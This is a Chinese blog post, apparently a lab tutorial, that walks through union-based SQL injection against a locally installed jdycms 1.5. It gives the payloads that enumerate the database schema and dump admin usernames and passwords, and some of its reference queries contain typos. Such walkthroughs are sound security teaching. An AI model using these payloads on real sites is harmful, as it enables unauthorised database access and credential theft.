SQL注入实战---jdy1.5

环境搭建

  • 这里使用的windows2003+phpstudy2018+sdy1.5
  • 我们解压sdy1.5至phpstudy下WWW文件内,在浏览器中输入127.0.0.1/sdy1.5进行安装
  • 技术图片
     
  • 然后就进入到了首页
  •  

     

  •  

 

1.观察当前页面的URL:http://192.168.50.100/jdy1.5/typeid.php?typeid=2

我们发现此处的typeid特别像此前sql-lab中的id参数,可以尝试一下注入。
输入命令:  ?typeid=2 and 1=1
观察到页面没有变化

 

 

 

输入命令: ?typeid=2 and 1=2
此时我们观察出与以前的页面发生了变化,可以断定此处存在 数字型的SQL注入。(所以不用考虑参数闭合的问题)

 

 

 2.

    • 此时,根据往常的思路,我们通过order by 语句判断出数据库的列数。
      输入命令:?typeid =2  order by 5
                        ?typeid = 2  order by 6
      5正常回显,6错误回显,判断出列数为5.
      技术图片3、我们以联合查询(union select)为例,观察回显位置。

 

 

 

 

4、  构造语句 查看当前数据库

 

 

 

 

 

 

 

在进行爆库爆表等等操作之前,先来回忆一下这些核心语句。
information_schema 系统默认数据库
三个重要的表
schemata(schema_name)
tables(table_schema,table_name)
columns(table_schema,table_name,column_name)


select schema_name from information_schema.schemata; 爆库
select table_name from information_schema.shcemata where table_schema=‘dvwa‘; 爆表
select column_name from information_schema.columns where table_name=‘users‘ and colunm_name =‘dvwa‘;爆列
select username,password from dvwa.users;爆内容

4、爆库

union  select 1,group_concat(schema_name),3,4,5 from information_schema.schemata

 

 

 

 

6、爆表

union  select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=0x6a6479636d73

此时数据库jdycm   不可以直接使用    需要将其转换成十六进制或者依旧用datbase()代替。

 

 

 

 

表名如下:
jdy_admin,jdy_kh,jdy_leavewords,jdy_newscontent,jdy_newstype,jdy_settings

 

7\、爆列

union  select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_schema=database() and table_name=0x6a64795f61646d696e

 

 

 

 

 

列名  id,username,password,qx,addtime

 

 

 

 

8、爆字段 union select 1,group_concat(username,0x7e,password),3,4,5 from jdycms.jdy_admin

 

 

 

 

 

 

 

 

 

posted @ 2020-05-01 22:37  Res0lve  阅读(455)  评论(0编辑  收藏  举报